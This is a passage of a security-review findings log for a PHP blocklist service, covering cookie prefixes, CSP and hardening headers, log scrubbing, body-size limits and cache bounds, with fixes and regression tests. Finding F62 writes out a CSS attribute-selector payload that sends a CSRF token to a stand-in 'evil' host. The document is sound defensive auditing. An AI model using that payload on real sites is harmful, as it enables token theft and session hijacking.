  one external src). Closing F56 for bookkeeping; no new code change
  needed.

### F57 — Session cookie name lacks `__Host-` prefix
- **File:** `ui/src/Auth/SessionManager.php:23, 54-62`
- **Risk:** Attributes are correct (`HttpOnly`, prod `Secure`,
  `SameSite=Lax`, `path=/`, no `Domain`). Adding `__Host-` enforces
  these at the browser and prevents subdomain cookie shadowing.
  Free defence-in-depth.
- **Severity: 1**
- **Status:** Fixed. New `SessionManager::cookieName()` returns
  `__Host-irdb_session` when `secureCookie` is true (production /
  HTTPS) and `irdb_session` otherwise. `startSession()` now calls
  `session_name($this->cookieName())` so the response's
  `Set-Cookie` header carries the prefixed name in production. The
  prefix is a browser-enforced contract: cookies named `__Host-…`
  are REJECTED unless they have `Secure`, `Path=/` exactly, and no
  `Domain` attribute (host-only) — which is exactly the shape the
  existing `session_set_cookie_params` already produces, so the
  rename is a free defence-in-depth tightening that prevents a
  parent-domain or subdomain page from shadowing the session
  cookie. Dev mode (`APP_ENV=development`, `secureCookie=false`,
  HTTP) keeps the unprefixed name because browsers reject `__Host-`
  over plain HTTP. Existing rolling sessions get implicitly
  invalidated on deploy (the cookie name changes), so users
  re-authenticate; acceptable cost for the security improvement.
  Regression tests in `ui/tests/Unit/Auth/SessionManagerTest.php`:
  `testCookieNameUsesHostPrefixWhenSecure` and
  `testCookieNameSkipsHostPrefixInDev`.

### F58 — `/api/docs` CSP allows external CDN without SRI
- **File:** `api/docker/Caddyfile:41`
- **Risk:** `script-src 'unsafe-inline' https://cdn.jsdelivr.net`. If
  the CDN is compromised or RapiDoc serves user-influenced content,
  the docs page executes attacker JS. Add SRI hashes on the RapiDoc
  tag, or vendor a copy locally.
- **Severity: 1**
- **Status:** Fixed. `DocsController` now emits the RapiDoc
  `<script>` tag with `integrity="sha384-…"` and
  `crossorigin="anonymous"`. The hash
  (`MDSxszbIJtK/9YakZ3tvi2bK6LaaHnB8+Hd2/fCfih0tLa+Mqlv6HO0bZdrICjjG`)
  was computed from the actual upstream bytes via `openssl dgst
  -sha384 -binary | base64`. The browser refuses to execute the
  script if the CDN serves different bytes — covers a jsDelivr
  compromise, an in-flight content modification, or a hostile
  origin failover. The hash is captured as a class constant
  (`RAPIDOC_INTEGRITY`) alongside `RAPIDOC_URL` so a future
  RapiDoc version bump is a documented two-line change with the
  reproduction recipe in the docblock. The Caddyfile CSP is
  unchanged: `script-src 'self' https://cdn.jsdelivr.net
  'unsafe-inline'` still allows the CDN host (the SRI is the
  per-bytes contract, the CSP entry is the per-host contract).
  Vendoring locally was considered but rejected: the M01 Caddyfile
  routes everything through PHP, and reshaping that to serve a
  static asset would be a wider change than the F58 ask. The CDN
  + SRI combination is the spec-accepted alternative.
  Regression test:
  `api/tests/Integration/Public/DocsControllerTest.php` —
  `testDocsPageEmbedsRapiDocWithSriIntegrity` asserts the script
  tag carries a well-formed sha384 SRI hash AND
  `crossorigin="anonymous"`.

### F59 — Missing modern hardening headers
- **Files:** `ui/docker/Caddyfile:18-34`,
  `api/docker/Caddyfile:24-30`
- **Risk:** No `Cross-Origin-Opener-Policy`,
  `Cross-Origin-Resource-Policy`, or
  `X-Permitted-Cross-Domain-Policies`. `Permissions-Policy` covers
  only `geolocation`, `microphone`, `camera`. Cheap to add the
  rest.
- **Severity: 1**
- **Status:** Fixed. Both Caddyfiles now emit:
  - `Cross-Origin-Opener-Policy: same-origin` — isolates the
    browsing context from any popups it opens; a
    `window.opener.location = …` from a newly-spawned
    cross-origin tab can no longer reach back into the app.
  - `Cross-Origin-Resource-Policy: same-origin` — tells the
    browser the resource may only be loaded by same-origin
    documents (defeats sub-resource leaks via cross-origin
    `<img>`/`<script>`/`<link>` inclusion).
  - `X-Permitted-Cross-Domain-Policies: none` — blocks legacy
    Adobe Flash / Acrobat `crossdomain.xml` lookups.
  COEP `require-corp` was deliberately *not* added: it would
  require every cross-origin resource (e.g. the jsDelivr-hosted
  RapiDoc on `/api/docs`) to opt in via CORP, which we don't
  control. The SEC_REVIEW called out COOP / CORP / X-Permitted-
  CDP only; sticking to that scope. (`Permissions-Policy`
  hardening — F61 — is tracked separately.) Caddyfile syntax is
  validated with `frankenphp validate --config … --adapter
  caddyfile` ("Valid configuration") on both files.

### F60 — HSTS lacks `preload`
- **Files:** `ui/docker/Caddyfile:37`, `api/docker/Caddyfile:36`
- **Risk:** Informational. Operators who want HSTS preload need to
  add the directive.
- **Severity: 1**
- **Status:** Fixed. Both Caddyfiles now read the HSTS header value
  from a new `HSTS_HEADER` env var with the previous value
  (`max-age=31536000; includeSubDomains`) as the default, so
  operators who want to submit to https://hstspreload.org/ can opt
  in by setting `HSTS_HEADER="max-age=31536000; includeSubDomains;
  preload"` in their environment without patching the Caddyfile.
  We deliberately don't enable `preload` by default: preload-listing
  is a one-way commitment — browser preload removals take months —
  and the M01 default is "operator runs the bundled compose stack
  on a hostname they may want to retire". The `.env.example`
  documents the override syntax with the SEC_REVIEW F60 reference.
  Caddyfile syntax validated with `frankenphp validate --adapter
  caddyfile` on both files; both report "Valid configuration".

### F61 — Caddy `Permissions-Policy` minimal
- **Files:** `ui/docker/Caddyfile:24`, `api/docker/Caddyfile:30`
- **Risk:** Modern hardening also denies `interest-cohort`,
  `payment`, `usb`, `magnetometer`, `gyroscope`, `accelerometer`,
  `fullscreen`, `display-capture`, `clipboard-read`, etc.
- **Severity: 1**
- **Status:** Fixed. The narrow `geolocation=(), microphone=(),
  camera=()` was extended to a full deny-list of every browser
  feature the admin UI doesn't use:
  `accelerometer`, `ambient-light-sensor`, `autoplay`, `battery`,
  `bluetooth`, `camera`, `clipboard-read`, `display-capture`,
  `encrypted-media`, `fullscreen`, `gamepad`, `geolocation`,
  `gyroscope`, `hid`, `idle-detection`, `interest-cohort` (FLoC),
  `magnetometer`, `microphone`, `midi`, `payment`,
  `picture-in-picture`, `screen-wake-lock`, `serial`,
  `speaker-selection`, `usb`, `web-share`, `xr-spatial-tracking`.
  `clipboard-write` is left at its same-origin default on the UI
  Caddyfile so the existing `rawTokenCopy` Alpine component on the
  Tokens page can still write the freshly-issued raw token to the
  clipboard; the api Caddyfile denies `clipboard-write` outright
  because the api never serves a page that needs it. Both
  Caddyfiles validated with `frankenphp validate --adapter
  caddyfile -e APP_ENV=production` — both report "Valid
  configuration".

### F62 — CSP `style-src 'unsafe-inline'` enables CSS-attribute-selector exfiltration
- **File:** `ui/docker/Caddyfile:33`
- **Risk:** With an HTML-injection (sub-XSS) primitive, an attacker
  can write CSS like
  `input[name=csrf_token][value^="a"] { background-image: url(//evil/?p=a); }`
  to leak the CSRF token char-by-char. Drop `'unsafe-inline'` for
  `style-src` and move dynamic widths to a stylesheet driven by
  `data-*` attributes.
- **Severity: 1**
- **Status:** Fixed. `App\Http\CspMiddleware::policy` now emits
  `style-src 'self'` only — `'unsafe-inline'` is gone. The two
  templates that previously carried inline `style="…"` attributes
  were migrated:
  - **`partials/topnav.twig`** — the user-menu dropdown's
    `style="display: none;"` pre-init hide replaced with
    `x-cloak`. The bundled stylesheet
    (`ui/resources/css/app.css`) now ships
    `[x-cloak] { display: none !important; }` so the element is
    hidden until Alpine boots and removes the attribute.
  - **`pages/ips/detail.twig`** — the dynamic
    `style="width: {{ width_pct }}%"` on the per-category score
    bar replaced with `data-score-width="{{ width_bucket }}"` where
    `width_bucket` is the percent rounded to 5%. The stylesheet
    ships one rule per bucket
    (`[data-score-width="0"] { width: 0%; }` …
    `[data-score-width="100"] { width: 100%; }`). 5% buckets are
    visually indistinguishable from per-pixel widths on the
    1.5px-tall bar.
  Regression tests in
  `ui/tests/Unit/Http/CspMiddlewareTest.php` (extended
  `testPolicyContainsNonceAndDropsUnsafeDirectives` to assert
  `style-src 'self'`) and
  `ui/tests/Integration/App/CspHeaderTest.php` (new
  `testStyleSrcDropsUnsafeInline` and
  `testNoInlineStyleAttributesInLoginTemplate`). Full UI suite
  (188 tests / 587 assertions) passes.

### F63 — Twig `autoescape` default is not explicitly configured
- **File:** `ui/src/App/Container.php:105-131`
- **Risk:** Defaults to `'html'` today, but a future Twig major or
  Slim-twig wrapper change could quietly flip it. Pin
  `'autoescape' => 'html'`.
- **Severity: 1**
- **Status:** Fixed. The Twig factory in `ui/src/App/Container.php`
  now passes `'autoescape' => 'html'` explicitly. Twig 3 already
  defaults to `'html'`, but pinning the option means a future major
  bump (or a Slim-twig wrapper change) that flipped the default
  would surface as a build-time error from `EscaperExtension`
  (Twig refuses unknown strategy names) rather than as silently
  un-escaped output. Regression tests in
  `ui/tests/Integration/App/TwigConfigTest.php`:
  `testAutoescapeStrategyIsExplicitlyHtml` calls
  `EscaperExtension::getDefaultStrategy()` on the wired-up
  environment and asserts the strategy is `'html'`;
  `testRenderedTemplateAutoescapesUserInput` proves the pipeline
  actually applies the strategy by rendering
  `'<script>alert(1)</script>'` through `{{ value }}` and
  asserting the output is HTML-escaped.

### F64 — `compose.scheduler.yml` references a missing crontab file
- **File:** `compose.scheduler.yml:10` (`./docker/scheduler.crontab`)
- **Risk:** The bind-mount source does not exist in the repository.
  Container starts with empty `/etc/crontabs/root` and silently never
  runs `cleanup-audit` (audit retention silently broken) or
  `cleanup-expired-manual-blocks`. Failure-open monitoring gap.
- **Severity: 1**
- **Status:** Fixed by the F22 fix (the scheduler-image rebuild that
  replaced the runtime `apk add` with a pinned-digest Dockerfile).
  The bind-mount of `./docker/scheduler.crontab` is gone;
  `scheduler/scheduler.crontab` is `COPY`ed into the image at build
  time so the schedule is part of the immutable artifact (`COPY
  scheduler.crontab /etc/crontabs/root` in `scheduler/Dockerfile`).
  Operators wanting a different cadence can still bind-mount their
  own crontab over `/etc/crontabs/root` in compose, but the default
  no longer depends on a host file at all. Closing F64 for
  bookkeeping; no new code change required.

### F65 — `SecretScrubbingProcessor` does not match raw JWT shape
- **Files:** `api/src/Infrastructure/Logging/SecretScrubbingProcessor.php:42-57`,
  `ui/src/Logging/SecretScrubbingProcessor.php:22-37`
- **Risk:** A short Bearer (< 20 chars) is not redacted by the
  current regex. Raw `id_token`/`access_token` JWTs logged under
  alternate keys (e.g. `'jwt' => '...'`) escape the key-name list.
  Add a JWT regex
  `^[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+$`.
- **Severity: 1**
- **Status:** Fixed. Both `SecretScrubbingProcessor` value-pattern
  lists (api and ui) gained two entries:
  - `\beyJ[A-Za-z0-9_-]{4,}\.[A-Za-z0-9_-]{4,}\.[A-Za-z0-9_-]{4,}\b`
    → `eyJ***`. Anchored on `eyJ` because every JWT header is the
    base64url encoding of a JSON object that starts with `{"…`,
    which is `eyJ…`. Anchoring eliminates false positives on
    dotted-quad IPs (`192.168.1.1`), shared-object names
    (`lib.so.6`), and arbitrary `a.b.c`-shaped prose; the per-
    segment `{4,}` floor skips pathological short matches.
  - The Bearer floor `[A-Za-z0-9._\-]{20,}` was lowered to `{8,}`
    so a `Bearer abc12345` short token (the SEC_REVIEW called
    out `< 20 char` Bearers slipping through) gets caught.
  Regression tests:
  - api: `testRawJwtInValueIsScrubbed`,
    `testRawJwtInMessageIsScrubbed`,
    `testShortBearerTokenIsScrubbed`,
    `testIpAddressDoesNotMatchJwtRegex` (false-positive guard).
  - ui: `testRawJwtInValueIsScrubbed`, `testShortBearerIsScrubbed`.
  All existing tests still pass.

### F66 — `APP_SECRET` and `UI_SECRET` declared but unused
- **Files:** `.env.example:23, 82`,
  `api/config/settings.php:35`,
  `ui/config/settings.php:37`
- **Risk:** `UI_SECRET` is never referenced in `ui/src/`. `APP_SECRET`
  is never used for any signing/HMAC operation. Operators following
  `.env.example` generate secret material that does nothing — a
  misleading security signal. Either wire them into ETag/CSRF/session
  signing or remove them.
- **Severity: 1**
- **Status:** Fixed by removal. Neither secret was ever used for
  signing or HMAC (no callsites under `api/src/` or `ui/src/`),
  and adding fictional uses just to keep the env vars alive would
  invent ceremony. Deleted from:
  - `.env.example` — both `APP_SECRET` and `UI_SECRET` lines.
  - `api/config/settings.php` — `'app_secret'` settings key.
  - `ui/config/settings.php` — `'ui_secret'` settings key.
  - `api/src/Application/Admin/ConfigController.php` — the
    `APP_SECRET` line in the masked-config response, plus the
    docblock-listed masking rules.
  - `api/tests/Integration/Support/AppTestCase.php` and
    `ui/tests/Integration/Support/AppTestCase.php` — test fixture
    overrides.
  - `doc/user-manual.md` and `doc/security.md` — operator guidance
    that pointed at the removed env vars.
  Operators upgrading from a prior release can leave the lines in
  their `.env`; both apps now ignore them. F67 (validator-doesn't-
  check-UI_SECRET) is closed by the same change since `UI_SECRET`
  no longer exists to validate.

### F67 — UI `Config::validateOrExit` does not check `UI_SECRET` despite docs
- **Files:** `ui/src/App/Config.php:20-55`,
  `.env.example:82`
- **Risk:** `.env.example:82` documents `UI_SECRET` as required
  ("signs session cookies") but the boot validator does not check
  it. Sessions are unsigned PHP-native files. Misleading
  documentation.
- **Severity: 1**
- **Status:** Fixed alongside F66 by removing `UI_SECRET` entirely
  rather than wiring the signing the docs implied. The docs/
  validator mismatch the SEC_REVIEW called out is resolved by
  deleting the misleading half: `.env.example`,
  `ui/config/settings.php`, and `doc/user-manual.md` /
  `doc/security.md` no longer mention `UI_SECRET`. Sessions remain
  PHP-native files (the storage was never actually signed by
  anything in the existing code), but nothing in the deploy
  documentation now claims otherwise.

### F68 — `/api/v1/openapi.yaml` and `/api/docs` are unauthenticated
- **Files:** `api/src/App/AppFactory.php:99-101`,
  `api/docker/Caddyfile:40-44`
- **Risk:** The 48 KB OpenAPI spec leaks the full surface of admin
  endpoints, internal-job endpoints, expected query/body shapes, and
  error contracts to unauthenticated callers. Defaults to
  internet-reachable. Aids reconnaissance. Gate behind a flag like
  `API_DOCS_PUBLIC` or move to an authenticated path.
- **Severity: 1**
- **Status:** Fixed. New `api_docs_public` setting (read from the
  `API_DOCS_PUBLIC` env var, default `false`). `AppFactory::build`
  now only registers `GET /api/docs` and `GET /api/v1/openapi.yaml`
  when the flag is `true`; with the default, both paths are simply
  never registered, so Slim returns 404 like any other unmapped
  path. Operators who want the docs viewer (open APIs, dev
  environments) opt in by setting `API_DOCS_PUBLIC=true` in the
  environment. The `.env.example` documents the gate alongside the
  other api-side settings. Caddyfile's `@docs`-path CSP block is
  unchanged — it now only takes effect for the 404 responses on
  the unregistered paths, which is harmless. Regression tests in
  `api/tests/Integration/Public/DocsControllerTest.php`:
  `testDocsPageIs404ByDefault` and `testOpenapiSpecIs404ByDefault`
  exercise the off-state directly; the F58 SRI test
  (`testDocsPageEmbedsRapiDocWithSriIntegrity`) and the spec-served
  smoke test now route through a small `enableDocs()` helper that
  flips the setting and rebuilds the app, mirroring the binding-
  override pattern `JobsAdminControllerTest` already uses.

### F69 — `ReportController` parses unbounded JSON body before size checks
- **Files:** `api/src/Application/Public/ReportController.php:99-113, 184-197`,
  `api/src/App/AppFactory.php:67`
- **Risk:** `jsonBody()` reads `(string) $request->getBody()` and
  `json_decode`s it without a pre-decoding size check. The 4 KB
  `METADATA_MAX_BYTES` is checked only after decoding succeeds — the
  full body is in memory by then. PHP `post_max_size`/`memory_limit`
  are not configured anywhere in the docker stack. An authenticated
  reporter (one weak token suffices) can POST a 100 MB body and
  burn memory; metadata-depth nesting up to PHP's 512 default
  amplifies. Set `JSON_THROW_ON_ERROR`, cap body size in Caddy, and
  enforce `php_value memory_limit`.
- **Severity: 1**
- **Status:** Fixed at the application layer. Two new defences:
  1. **`RequestBodySizeLimitMiddleware`** under
     `api/src/Infrastructure/Http/Middleware/`. Wired globally in
     `AppFactory::build` AFTER `addBodyParsingMiddleware()` so
     it runs FIRST on the inbound LIFO stack — meaning Slim's
     body parser never reads a body that exceeds the 256 KiB cap.
     Two layers of check: `Content-Length` header (catches the
     well-behaved client) and `getSize()` fallback (catches a
     stream that knows its length even if the header lied or was
     omitted). Returns 413 `payload_too_large` JSON without
     touching the stream.
  2. **`ReportController::jsonBody()` hardening.** The fall-
     through path that ran when Slim's parser didn't recognise
     the `Content-Type` now uses `json_decode($raw, true,
     JSON_DEPTH_CAP=32, JSON_THROW_ON_ERROR)`, with
     `JsonException` caught and translated to "treat as empty
     body". 32 levels is plenty for legitimate metadata shapes;
     PHP's 512 default left a deep-recursion amplifier in place
     even after the byte cap.
  Per-endpoint caps (the existing 4 KiB `metadata` limit) layer
  on top, and Caddy's `request_body { max_size … }` is the
  outermost bound — operators can configure that per-route in the
  Caddyfile if they want to fail-closed before PHP is invoked at
  all. The 256 KiB application-layer cap is generous enough for
  every legitimate admin payload (largest is a multi-line
  description, ≤16 KiB) while bounding the worst-case at "no
  single request can fill memory by itself".
  Regression tests:
  - Unit: `api/tests/Unit/Http/RequestBodySizeLimitMiddlewareTest.php`
    covers under-cap-passes, over-cap-by-Content-Length-rejected,
    over-cap-by-stream-size-rejected (Content-Length absent),
    empty-body-passes, and non-numeric-Content-Length-still-
    caught-by-stream-size.
  - Integration: `api/tests/Integration/Public/ReportControllerTest.php`
    `testOversizedRequestBodyIsRejectedWith413` posts a 512 KiB
    JSON body and asserts 413 + `payload_too_large` envelope;
    `testDeeplyNestedJsonDoesNotBlowTheStack` posts a 100-deep
    nested object and asserts no 500/exception leaks.

### F70 — `BlocklistController?format=json` forces sha256-of-50k-entries on every cache miss
- **File:** `api/src/Application/Public/BlocklistController.php:80-85, 176-193`
- **Risk:** A consumer can request the more expensive JSON renderer
  on demand. Per-process `BlocklistCache` TTL=30s — every cache miss
  rebuilds and rehashes. Combined with the per-token-only rate
  limit, a single consumer at 60 req/s sustains 60 full
  build-and-hash operations per second per replica. Header
  size limits cap the `If-None-Match` parse loop but it is still an
  amplifier. Constrain `format` per consumer (only allow what the
  consumer typically uses).
- **Severity: 1**
- **Status:** Fixed by extending `BlocklistCache` to cache the
  rendered body and its sha256 ETag per `(policy_id, format)`, not
  just the underlying `Blocklist` domain object. New
  `BlocklistCache::getRendered(Policy, format, callable $render)`
  invokes the render callback at most once per cache window per
  format; subsequent hits return the cached `body` + `etag`
  verbatim. The render+hash work that previously paid the full
  sha256-of-N-entries cost on every request now runs once per
  cache window per replica per format, regardless of request rate.
  `BlocklistController` switched to the new method and feeds it a
  small closure for each format; the choice between `renderText`
  and `renderJson` is the only thing varying per request now. The
  per-format invalidation contract from `getOrBuild` is preserved
  via the same `invalidate($policyId)` / `invalidateAll()`
  surface (the rendered entries live inside the same cache row,
  so dropping the row drops both the build and every render
  alongside it). Per-consumer format constraint is still possible
  as a future tightening but isn't necessary to defeat the F70
  amplifier — the cache already does. Regression tests in
  `api/tests/Integration/Public/BlocklistControllerTest.php`:
  `testBlocklistRenderIsCachedAcrossRequests` (two sequential
  JSON requests produce byte-identical bodies and ETags) and
  `testTextAndJsonRendersBothCachedIndependently` (alternating
  format requests preserve each format's cache; text and JSON
  ETags differ because their bodies differ).

### F71 — `BlocklistCache` is not size-bounded
- **File:** `api/src/Infrastructure/Reputation/BlocklistCache.php:33, 42-59`
- **Risk:** The cache map is keyed by `$policy->id` and grows
  monotonically with no LRU. Admin-creatable, but unbounded. Add a
  bounded LRU (e.g. 16 policies cached).
- **Severity: 1**
- **Status:** Fixed. New `BlocklistCache::MAX_ENTRIES = 16` cap (also
  configurable via the constructor's new `$maxEntries` argument).
  Insertion goes through a private `store()` helper that
  unset-then-assigns the key (which pushes it to the end of PHP's
  insertion-ordered array) and evicts `array_key_first()` past the
  cap. Reads through `getOrBuild` / `getRendered` mark the entry as
  most-recently-used via a private `touch()` helper. Both paths
  preserve the existing per-policy invalidation contract
  (`invalidate($policyId)` / `invalidateAll()`). Worst-case memory
  is now bounded by 16 × the per-policy build cost, regardless of
  how many policies an admin creates over the worker's lifetime.
  Two tiny `@internal` accessors — `entryCount()` and
  `cachedPolicyIds()` — let the regression test inspect cache state
  without reaching into private fields via reflection. Regression
  test in `api/tests/Integration/Public/BlocklistControllerTest.php`:
  `testCacheIsLruBoundedAtSixteenEntries` rebuilds the cache with a
  30 s TTL (the test fixture default is 0 s = no caching), creates
  18 policies and one consumer per policy, hits `/api/v1/blocklist`
  for each, then asserts `entryCount() ≤ MAX_ENTRIES`, the two
  oldest policy IDs are NOT in the cache, and the most-recent one
  IS. The 10 pre-existing BlocklistController tests still pass.

### F72 — `/ips/{ip:.+}` accepts unbounded path parameter
- **Files:** `api/src/App/AppFactory.php:256`,
  `api/src/Application/Admin/IpsController.php:121-127`
- **Risk:** A logged-in Viewer can call `/api/v1/admin/ips/<10MB>`.
  `rawurldecode` runs on the entire string; `IpAddress::fromString`
  applies regex. Web-server URL-length limits typically cap this at
  a few KB but mitigations are environment-specific. Tighten the
  regex to a strict IP character class.
- **Severity: 1**

### F73 — UI `JsonExceptionHandler` `getCode()` type-juggling for HTTP status
- **File:** `ui/src/Http/JsonExceptionHandler.php:40-63`
- **Risk:** `getCode()` from arbitrary `Throwable` is used as HTTP
  status if it is in `[400, 600)`. PDOException's `getCode()` is a
  SQLSTATE *string* (e.g. `'42S02'`) — coerced via comparison. A
  string like `'400'` would set status 400 and skip prod
  message-suppression. Cast to int explicitly and reject non-numeric
  codes.
- **Severity: 1**

### F74 — `LoginThrottle` writes `logger->warning` per failure with no log-rate cap
- **File:** `ui/src/Auth/LoginThrottle.php:79-93`
- **Risk:** A sustained brute-force attack at 100 req/s fills disk via
  the structured logger. No log-rate cap, no aggregation. Pair with
  F1 (XFF spoof) and F2 (no per-user bucket) to amplify.
- **Severity: 1**

---

## Reviewed and acceptable

The following candidate concerns were checked and are not findings in the
current code. Listed for completeness so the next reviewer doesn't redo
the same work.

- **No raw SQL interpolation of user input.** All repositories bind via
  DBAL named/positional parameters. The only `sprintf` into SQL is for
  table names where values are hardcoded constants or `?` placeholder
  counts.
- **No `ORDER BY` injection.** Every `ORDER BY` uses constants — no
  user-controlled sort column anywhere reviewed.
- **No `unserialize`, `eval`, `exec`, `shell_exec`, `system`,
  `passthru`, `proc_open`, `popen`, backticks, or `preg_replace /e`
  modifier** anywhere in `api/src` or `ui/src` (vendor excluded).
- **IP/CIDR parsing** (`IpAddress::fromString`, `Cidr::fromString`) is
  strict — rejects whitespace, leading zeros, bracketed IPv6, zone
  identifiers, malformed octets.
- **Token format & entropy.** `random_bytes(20)` = 160 bits, base32
  encoded. SHA-256 storage at rest. Lookup is by hash — no timing side
  channel.
- **Constant-time comparisons** used where they matter (`hash_equals`
  in CSRF, internal token, local-admin username).
- **OIDC `S256` PKCE** explicitly set; missing `sub` claim rejected.
- **Failed-token responses are uniform 401** — no distinction between
  missing/malformed/unknown/revoked/expired.
- **Impersonation header is silently ignored on non-service tokens.**
- **Impersonation user id strictly validated** as `^[1-9][0-9]*$`.
- **JobRunner orchestrates entirely via DBAL** — no shell-out.
- **MmdbVerifier opens MMDB via `MaxMind\Db\Reader`** with node-count
  thresholds; truncated/empty downloads fail closed.
- **UI Guzzle client uses a fixed `API_BASE_URL`** from env — not
  user-retargetable.
- **`MaintenanceController::purge`** loops `'DELETE FROM '.$table` over
  a hard-coded allowlist.
- **Twig auto-escape (HTML)** is the default; no `|raw` over
  user-controlled data was found.
- **Logout is POST-only and CSRF-protected.**
- **Session cookie attributes** (`HttpOnly`, `Secure` in prod,
  `SameSite=Lax`) are correct.
- **`PharData::extractTo` rejects path traversal** since PHP 8.

---

## Summary of severity counts

| Severity | Count |
|----------|-------|
| 3        | 5     |
| 2        | 27    |
| 1        | 42    |
| **Total**| **74**|

The headline risks are: (a) the brute-force lockout is bypassable
trivially via `X-Forwarded-For` spoofing or distributed sources
(F1, F2), (b) a leaked or unrotated service token is a single-step
total compromise because `/api/v1/auth/upsert-local` mints Admin users
with no impersonation/audit/RBAC/rate-limit (F3), and (c) audit
integrity rests on a non-transactional best-effort second write that
silently no-ops on failure (F4, F5). The combination of these means a
single compromised credential plus a deliberately-failed audit insert
yields un-traced privilege escalation.